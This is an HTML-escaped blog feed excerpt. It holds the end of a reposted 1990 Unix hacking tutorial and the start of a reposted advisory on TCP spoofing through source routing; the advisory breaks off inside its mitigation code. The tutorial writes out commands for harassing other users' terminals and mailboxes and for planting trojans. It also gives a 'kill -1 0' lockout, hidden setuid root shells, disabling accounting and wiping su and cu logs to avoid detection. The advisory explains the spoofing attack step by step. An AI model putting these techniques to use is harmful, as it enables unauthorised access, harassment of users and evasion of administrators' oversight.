/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;Thats all there is to it.&amp;nbsp; If you can write to their tty, you can use this on&lt;br /&gt;them.&amp;nbsp; It sends two backspaces to them every approx. 5 seconds.&amp;nbsp; You&lt;br /&gt;should run this program in the background.&amp;nbsp; (&amp;amp;).&amp;nbsp; Here is an example:&lt;br /&gt;&lt;br /&gt;$ who&lt;br /&gt;sirhack&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tty11&lt;br /&gt;loozer&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tty12&lt;br /&gt;$ bsv tty12&amp;amp;&lt;br /&gt;[1]&amp;nbsp; 4566&lt;br /&gt;BSV - Backspace virus, by Sir Hackalot&lt;br /&gt;The Sucker on /dev/tty12 is getting it!&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Now, it will keep &quot;attacking&quot; him, until he loggs of, or you kill the process&lt;br /&gt;(which was 4566 -- when you use &amp;amp;, it gives the pid [usually]).&lt;br /&gt;&lt;br /&gt;** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF&lt;br /&gt;method to terminate a line.&amp;nbsp; However, the LF terminates a line in Unix.&lt;br /&gt;you must STRIP CR&#39;s on an ascii upload if you want something you upload&lt;br /&gt;to an editor to work right.&amp;nbsp; Else, you&#39;ll see a ^M at the end of every&lt;br /&gt;line.&amp;nbsp; I know that sucks, but you just have to compensate for it.&lt;br /&gt;&lt;br /&gt;I have a number of other programs that annoy users, but that is enough to&lt;br /&gt;get your imagination going, provided you are a C programmer.&amp;nbsp; You can annoy&lt;br /&gt;users other ways.&amp;nbsp; One thing you can do is screw up the user&#39;s mailbox.&lt;br /&gt;The way to do this is to find a binary file (30k or bigger) on the system&lt;br /&gt;which YOU have access to read.&amp;nbsp; then, do this:&lt;br /&gt;&lt;br /&gt;$ cat binary_file | mail loozer&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;$ mail loozer &amp;lt; binary file&lt;br /&gt;&lt;br /&gt;That usually will spilt into 2 messages or more.&amp;nbsp; The 1st message will&lt;br /&gt;have a from line.. (from you ..), but the second WILL NOT!&amp;nbsp; Since it does&lt;br /&gt;not, the mail reader will keep exiting and giving him an error message until&lt;br /&gt;it gets fixed..&amp;nbsp; The way to fix it is to go to the mail box that got hit&lt;br /&gt;with this trick (usually only the one who got hit (or root) and do this),&lt;br /&gt;and edit the file, and add a from line.. like&lt;br /&gt;From username..&lt;br /&gt;&lt;br /&gt;then it will be ok.&amp;nbsp; You can screw the user by &quot;cat&quot;ing a binary to his tty.&lt;br /&gt;say Loozer is on tty12.&amp;nbsp; You can say..&lt;br /&gt;$ cat binary_file &amp;gt;/dev/tty12&lt;br /&gt;$&lt;br /&gt;It may pause for a while while it outputs it.&amp;nbsp; If you want to resume what&lt;br /&gt;you were doing instantly, do:&lt;br /&gt;$ cat binary_file &amp;gt;/dev/tty12&amp;amp;&lt;br /&gt;[1] 4690&lt;br /&gt;$&lt;br /&gt;And he will probably logoff.&amp;nbsp; You can send the output of anything to his&lt;br /&gt;terminal.&amp;nbsp; Even what YOU do in shell.&amp;nbsp; Like this:&lt;br /&gt;$ sh &amp;gt;/dev/tty12&lt;br /&gt;$&lt;br /&gt;You&#39;ll get your prompts, but you won&#39;t see the output of any commands, he&lt;br /&gt;will...&lt;br /&gt;$ ls&lt;br /&gt;$ banner Idiot!&lt;br /&gt;$ echo Dumbass!&lt;br /&gt;$&lt;br /&gt;until you type in exit, or hit ctrl-d.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are many many things you can do.&amp;nbsp; You can fake a &quot;write&quot; to someone&lt;br /&gt;and make them think it was from somewhere on the other side of hell.&amp;nbsp; Be&lt;br /&gt;creative.&lt;br /&gt;&lt;br /&gt;When you are looking for things to do, look for holes, or try to get&lt;br /&gt;someone to run a trojan horse that makes a suid shell.&amp;nbsp; If you get&lt;br /&gt;someone to run a trojan that does that, you can run the suid, and log their&lt;br /&gt;ass off by killing their mother PID.&amp;nbsp; (kill -9 whatever).&amp;nbsp; Or, you can&lt;br /&gt;lock them out by adding &quot;kill -1 0&quot; to their .profile.&amp;nbsp; On the subject of&lt;br /&gt;holes, always look for BAD suid bits.&amp;nbsp; On one system thought to be invincible&lt;br /&gt;I was able to read/modify everyone&#39;s mail, because I used a mailer that had&lt;br /&gt;both the GroupID set, and the UserID set.&amp;nbsp; When I went to shell from it,&lt;br /&gt;the program instantly changed my Effective ID back to me, so I would not be&lt;br /&gt;able to do anything but my regular stuff.&amp;nbsp; But it was not designed to change&lt;br /&gt;the GROUP ID back.&amp;nbsp; The sysop had blundered there.&amp;nbsp; SO when I did an ID&lt;br /&gt;I found my group to be &quot;Mail&quot;.&amp;nbsp; Mailfiles are readble/writeable by the&lt;br /&gt;user &quot;mail&quot;, and the group &quot;mail&quot;.&amp;nbsp; I then set up a sgid (set group id) shell&lt;br /&gt;to change my group id to &quot;mail&quot; when I ran it, and scanned important mail,&lt;br /&gt;and it got me some good info.&amp;nbsp; So, be on the look out for poor permissions.&lt;br /&gt;&lt;br /&gt;Also, after you gain access, you may want to keep it.&amp;nbsp; Some tips on doing so&lt;br /&gt;is:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1. Don&#39;t give it out.&amp;nbsp; If the sysadm sees that joeuser logged in 500&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; times in one night....then....&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2. Don&#39;t stay on for hours at a time.&amp;nbsp; They can trace you then. Also&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; they will know it is irregular to have joeuser on for 4 hours&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; after work.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3. Don&#39;t trash the system.&amp;nbsp; Don&#39;t erase important files, and don&#39;t&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hog inodes, or anything like that.&amp;nbsp; Use the machine for a specific&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; purpose (to leech source code, develop programs, an Email site).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dont be an asshole, and don&#39;t try to erase everything you can.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4. Don&#39;t screw with users constantly.&amp;nbsp; Watch their processes and&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; run what they run.&amp;nbsp; It may get you good info (snoop!)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5. If you add an account, first look at the accounts already in there&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If you see a bunch of accounts that are just 3 letter abbrv.&#39;s,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; then make yours so.&amp;nbsp; If a bunch are &quot;cln, dok, wed&quot; or something,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; don&#39;t add one that is &quot;joeuser&quot;, add one that is someone&#39;s&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; full initials.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6. When you add an account, put a woman&#39;s name in for the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; description, if it fits (Meaning, if only companies log on to the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; unix, put a company name there).&amp;nbsp; People do not suspect hackers&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to use women&#39;s names.&amp;nbsp; They look for men&#39;s names.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7. Don&#39;t cost the Unix machine too much money.&amp;nbsp; Ie.. don&#39;t abuse an&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; outdial, or if it controls trunks, do not set up a bunch of dial&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; outs.&amp;nbsp; If there is a pad, don&#39;t use it unless you NEED it.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8. Don&#39;t use x.25 pads.&amp;nbsp; Their usage is heavily logged.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 9. Turn off acct logging (acct off) if you have the access to.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Turn it on when you are done.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10. Remove any trojan horses you set up to give you access when you&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; get access.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 11. Do NOT change the MOTD file to say &quot;I hacked this system&quot; Just&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; thought I&#39;d tell you.&amp;nbsp; Many MANY people do that, and lose access&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; within 2 hours, if the unix is worth a spit.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 12. Use good judgement.&amp;nbsp; Cover your tracks.&amp;nbsp; If you use su, clean&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; up the sulog.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 13. If you use cu, clean up the cu_log.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 14. If you use the smtp bug (wizard/debug), set up a uid shell.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 15. Hide all suid shells.&amp;nbsp; Here&#39;s how:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; goto /usr&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (or any dir)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # mkdir &quot;.. &quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # cd &quot;.. &quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # cp /bin/sh &quot;.whatever&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # chmod a+s &quot;.whatever&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The &quot;&quot; are NEEDED to get to the directory ..&amp;nbsp; !&amp;nbsp; It will not show&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; up in a listing, and it is hard as hell to get to by sysadms if&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; you make 4 or 5 spaces in there (&quot;..&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;), because all they will&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; see in a directory FULL list will be .. and they won&#39;t be able to&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; get there unless they use &quot;&quot; and know the spacing.&amp;nbsp; &quot;&quot; is used&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when you want to do literals, or use a wildcard as part of a file&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; name.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 16. Don&#39;t hog cpu time with password hackers.&amp;nbsp; They really don&#39;t work&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; well.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 17. Don&#39;t use too much disk space.&amp;nbsp; If you archieve something to dl,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dl it, then kill the archieve.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 18. Basically -- COVER YOUR TRACKS.&lt;br /&gt;&lt;br /&gt;Some final notes:&lt;br /&gt;&lt;br /&gt;Now, I hear lots of rumors and stories like &quot;It is getting harder to get&lt;br /&gt;into systems...&quot;.&amp;nbsp; Wrong. (Yo Pheds! You reading this??).&amp;nbsp; It IS true&lt;br /&gt;when you are dealing with WAN&#39;s, such as telenet, tyment, and the Internet,&lt;br /&gt;but not with local computers not on those networks.&amp;nbsp; Here&#39;s the story:&lt;br /&gt;&lt;br /&gt;Over the past few years, many small companies have sprung up as VARs&lt;br /&gt;(Value Added Resellers) for Unix and Hardware, in order to make a fast&lt;br /&gt;buck.&amp;nbsp; Now, these companies fast talk companies into buying whatever,&lt;br /&gt;and they proceed in setting up the Unix.&amp;nbsp; Now, since they get paid by&lt;br /&gt;the hour usaually when setting one up, they spread it out over days....&lt;br /&gt;during these days, the system is WIDE open (if it has a dialin).&amp;nbsp; Get&lt;br /&gt;in and add yourself to passwd before the seal it off (if they do..).&lt;br /&gt;Then again, after the machine is set up, they leave the defaults on the&lt;br /&gt;system.&amp;nbsp; Why?&amp;nbsp; The company needs to get in, and most VARs cannot use&lt;br /&gt;unix worth a shit, all they know how to do is set it up, and that is ALL.&lt;br /&gt;Then, they turn over the system to a company or business that USUALLY&lt;br /&gt;has no-one that knows what they hell they are doing with the thing, except&lt;br /&gt;with menus.&amp;nbsp; So, they leave the system open to all...(inadvertedly..),&lt;br /&gt;because they are not competant.&amp;nbsp; So, you could usually get on, and create&lt;br /&gt;havoc, and at first they will think it is a bug..&amp;nbsp; I have seen this&lt;br /&gt;happen ALL to many times, and it is always the same story...&lt;br /&gt;The VAR is out for a fast buck, so they set up the software (all they know&lt;br /&gt;how to do), and install any software packages ordered with it (following&lt;br /&gt;the step by step instructions).&amp;nbsp; Then they turn it over to the business&lt;br /&gt;who runs a word processor, or database, or something, un aware that a&lt;br /&gt;&quot;shell&quot; or command line exists, and they probably don&#39;t even know root does.&lt;br /&gt;So, we will see more and more of these pop up, especially since AT&amp;amp;T is&lt;br /&gt;now bundling a version of Xwindows with their new System V, and Simultask...&lt;br /&gt;which will lead to even more holes.&amp;nbsp; You&#39;ll find systems local to you&lt;br /&gt;that are easy as hell to get into, and you&#39;ll see what I mean.&amp;nbsp; These&lt;br /&gt;VARs are really actually working for us.&amp;nbsp; If a security problem arises&lt;br /&gt;that the business is aware of, they call the VAR to fix it... Of course,&lt;br /&gt;the Var gets paid by the hour, and leaves something open so you&#39;ll get in&lt;br /&gt;again, and they make more moolahhhh.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can use this phile for whatever you want.&amp;nbsp; I can&#39;t stop you.&amp;nbsp; Just&lt;br /&gt;to learn unix (heh) or whatever.&amp;nbsp; But its YOUR ass if you get caught.&lt;br /&gt;Always consider the penalties before you attempt something.&amp;nbsp; Sometimes&lt;br /&gt;it is not worth it, Sometimes it is.&lt;br /&gt;&lt;br /&gt;This phile was not meant to be comprehensive, even though it may seem like&lt;br /&gt;it.&amp;nbsp; I have left out a LOT of techniques, and quirks, specifically to get&lt;br /&gt;you to learn SOMETHING on your own, and also to retain information so&lt;br /&gt;I will have some secrets.&amp;nbsp; You may pass this file on, UNMODIFIED, to any&lt;br /&gt;GOOD H/P BBS.&amp;nbsp; Sysops can add things to the archieve to say where&lt;br /&gt;it was DL&#39;d from, or to the text viewer for the same purpose.&amp;nbsp; This is&lt;br /&gt;Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.&lt;br /&gt;&lt;br /&gt;-Sir Hackalot of PHAZE&lt;br /&gt;1990.&lt;br /&gt;&lt;/div&gt;</description><link>http://it-guide888.blogspot.com/2016/12/a-hacking-tutorial.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-4451618459475557795</guid><pubDate>Thu, 22 Dec 2016 06:56:00 +0000</pubDate><atom:updated>2016-12-21T22:56:17.279-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><title>A simple TCP spoofing attack</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Over the past few years TCP sequence number prediction attacks have become a&lt;br /&gt;real threat against unprotected networks, taking advantage of the inherent&lt;br /&gt;trust relationships present in many network installations.&amp;nbsp; TCP sequence&lt;br /&gt;number prediction attacks have most commonly been implemented by opening a&lt;br /&gt;series of connections to the target host, and attempting to predict the&lt;br /&gt;sequence number which will be used next.&amp;nbsp; Many operating systems have&lt;br /&gt;therefore attempted to solve this problem by implementing a method of&lt;br /&gt;generating sequence numbers in unpredictable fashions.&amp;nbsp; This method does&lt;br /&gt;not solve the problem.&lt;br /&gt;&lt;br /&gt;This advisory introduces an alternative method of obtaining the initial&lt;br /&gt;sequence number from some common trusted services.&amp;nbsp; The attack presented here&lt;br /&gt;does not require the attacker to open multiple connections, or flood a port&lt;br /&gt;on the trusted host to complete the attack.&amp;nbsp; The only requirement is that&lt;br /&gt;source routed packets can be injected into the target network with fake&lt;br /&gt;source addresses.&lt;br /&gt;&lt;br /&gt;This advisory assumes that the reader already has an understanding of how&lt;br /&gt;TCP sequence number prediction attacks are implemented.&lt;br /&gt;&lt;br /&gt;The impact of this advisory is greatly diminished due to the large number of&lt;br /&gt;organizations which block source routed packets and packets with addresses&lt;br /&gt;inside of their networks.&amp;nbsp; Therefore we present the information as more of&lt;br /&gt;a &#39;heads up&#39; message for the technically inclined, and to re-iterate that&lt;br /&gt;the randomization of TCP sequence numbers is not an effective solution&lt;br /&gt;against this attack.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Technical Details&lt;br /&gt;~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;The problem occurs when particular network daemons accept connections&lt;br /&gt;with source routing enabled, and proceed to disable any source routing&lt;br /&gt;options on the connection.&amp;nbsp; The connection is allowed to continue, however&lt;br /&gt;the reverse route is no longer used.&amp;nbsp; An example attack can launched against&lt;br /&gt;the in.rshd daemon, which on most systems will retrieve the socket options&lt;br /&gt;via getsockopt() and then turn off any dangerous options via setsockopt().&lt;br /&gt;&lt;br /&gt;An example attack follows.&lt;br /&gt;&lt;br /&gt;Host A is the trusted host&lt;br /&gt;Host B is the target host&lt;br /&gt;Host C is the attacker&lt;br /&gt;&lt;br /&gt;Host C initiates a source routed connection to in.rshd on host B, pretending&lt;br /&gt;to be host A.&lt;br /&gt;&lt;br /&gt;Host C spoofing Host A&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;SYN&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --&amp;gt;&amp;nbsp; Host B in.rshd&lt;br /&gt;&lt;br /&gt;Host B receives the initial SYN packet, creates a new PCB (protocol&lt;br /&gt;control block) and associates the route with the PCB.&amp;nbsp; Host B responds,&lt;br /&gt;using the reverse route, sending back a SYN/ACK with the sequence number.&lt;br /&gt;&lt;br /&gt;Host C spoofing Host A&amp;nbsp; &amp;lt;--&amp;nbsp; &amp;lt;SYN/ACK&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Host B in.rshd&lt;br /&gt;&lt;br /&gt;Host C responds, still spoofing host A, acknowledging the sequence number.&lt;br /&gt;Source routing options are not required on this packet.&lt;br /&gt;&lt;br /&gt;Host C spoofing Host A&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;ACK&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --&amp;gt;&amp;nbsp; Host B in.rshd&lt;br /&gt;&lt;br /&gt;We now have an established connection, the accept() call completes, and&lt;br /&gt;control is now passed to the in.rshd daemon.&amp;nbsp; The daemon now does IP&lt;br /&gt;options checking and determines that we have initiated a source routed&lt;br /&gt;connection.&amp;nbsp; The daemon now turns off this option, and any packets sent&lt;br /&gt;thereafter will be sent to the real host A, no longer using the reverse&lt;br /&gt;route which we have specified.&amp;nbsp; Normally this would be safe, however the&lt;br /&gt;attacking host now knows what the next sequence number will be.&amp;nbsp; Knowing&lt;br /&gt;this sequence number, we can now send a spoofed packet without the source&lt;br /&gt;routing options enabled, pretending to originate from Host A, and our&lt;br /&gt;command will be executed.&lt;br /&gt;&lt;br /&gt;In some conditions the flooding of a port on the real host A is required&lt;br /&gt;if larger ammounts of data are sent, to prevent the real host A from&lt;br /&gt;responding with an RST.&amp;nbsp; This is not required in most cases when performing&lt;br /&gt;this attack against in.rshd due to the small ammount of data transmitted.&lt;br /&gt;&lt;br /&gt;It should be noted that the sequence number is obtained before accept()&lt;br /&gt;has returned and that this cannot be prevented without turning off source&lt;br /&gt;routing in the kernel.&lt;br /&gt;&lt;br /&gt;As a side note, we&#39;re very lucky that TCP only associates a source route with&lt;br /&gt;a PCB when the initial SYN is received.&amp;nbsp; If it accepted and changed the ip&lt;br /&gt;options at any point during a connection, more exotic attacks may be possible.&lt;br /&gt;These could include hijacking connections across the internet without playing&lt;br /&gt;a man in the middle attack and being able to bypass IP options checking&lt;br /&gt;imposed by daemons using getsockopt().&amp;nbsp; Luckily *BSD based TCP/IP stacks will&lt;br /&gt;not do this, however it would be interesting to examine other implementations.&lt;br /&gt;&lt;br /&gt;Impact&lt;br /&gt;~~~~~~&lt;br /&gt;&lt;br /&gt;The impact of this attack is similar to the more complex TCP sequence&lt;br /&gt;number prediction attack, yet it involves fewer steps, and does not require&lt;br /&gt;us to &#39;guess&#39; the sequence number.&amp;nbsp; This allows an attacker to execute&lt;br /&gt;arbitrary commands as root, depending on the configuration of the target&lt;br /&gt;system.&amp;nbsp; It is required that trust is present here, as an example, the use&lt;br /&gt;of .rhosts or hosts.equiv files.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Solutions&lt;br /&gt;~~~~~~~~~&lt;br /&gt;&lt;br /&gt;The ideal solution to this problem is to have any services which rely on&lt;br /&gt;IP based authentication drop the connection completely when initially&lt;br /&gt;detecting that source routed options are present.&amp;nbsp; Network administrators&lt;br /&gt;and users can take precautions to prevent users outside of their network&lt;br /&gt;from taking advantage of this problem.&amp;nbsp; The solutions are hopefully already&lt;br /&gt;either implemented or being implemented.&lt;br /&gt;&lt;br /&gt;1. Block any source routed connections into your networks&lt;br /&gt;2. Block any packets with internal based address from entering your network.&lt;br /&gt;&lt;br /&gt;Network administrators should be aware that these attacks can easily be&lt;br /&gt;launched from behind filtering routers and firewalls.&amp;nbsp; Internet service&lt;br /&gt;providers and corporations should ensure that internal users cannot launch&lt;br /&gt;the described attacks.&amp;nbsp; The precautions suggested above should be implemented&lt;br /&gt;to protect internal networks.&lt;br /&gt;&lt;br /&gt;Example code to correctly process source routed packets is presented here&lt;br /&gt;as an example.&amp;nbsp; Please let us know if there are any problems with it.&lt;br /&gt;This code has been tested on BSD based operating systems.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; u_char optbuf[BUFSIZ/3];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int optsize = sizeof(optbuf), ipproto, i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct protoent *ip;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ((ip = getprotobyname(&quot;ip&quot;)) != NULL)&lt;br 